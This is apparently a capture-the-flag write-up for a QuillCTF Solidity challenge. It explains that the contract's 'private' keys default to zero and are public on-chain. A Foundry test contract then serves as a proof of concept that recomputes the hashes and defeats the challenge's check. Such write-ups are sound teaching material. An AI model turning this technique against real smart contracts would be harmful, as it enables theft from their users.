Confidential Hash challenge

Description of the vulnerability:

-->Nothing is private in blockchain, the super secret key of alice and bob is default to 0x000.....0 (64 0's) is know to anyone. If the developer believes it is a secret, that is not enough.

Attack Steps:

1. aliceHash = hash (private_key, challenge.ALICE_DATA()) //ALICE_DATA () is getter function

2. bobHash = hash (private_key, BOB_DATA ()) //BOB_DATA () is getter function

3. bothHash = hash (aliceHash, bobHash)

4.checkthehash(bothhash)

Proof of concept (POC):

Challenge3.t.sol :

```
// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;


import "forge-std/Test.sol";

import "forge-std/Vm.sol";

import "src/quillCTF/challenge3.sol";



contract Challenge3 is Test {

    Confidential challenge;

    bytes32 aliceHash;

    bytes32 bobHash;

    bytes32 private_key;
```

```
    constructor() {
        challenge = new Confidential();
        aliceHash = challenge.hash(private_key, challenge.ALICE_DATA());
        bobHash = challenge.hash(private_key, challenge.BOB_DATA());
    }

    function test_hashs() public {
        emit log_bytes32(aliceHash);
        emit log_bytes32(bobHash);
    }

    function test_aliceBobHash() public {
        bytes32 bothHash = challenge.hash(aliceHash, bobHash);
        emit log_bytes32(bothHash);
        bool val = challenge.checkthehash(bothHash);
        assertTrue(val);
    }
}
```

NOTE:

Tested using foundary , to test use **forge test -vvvv**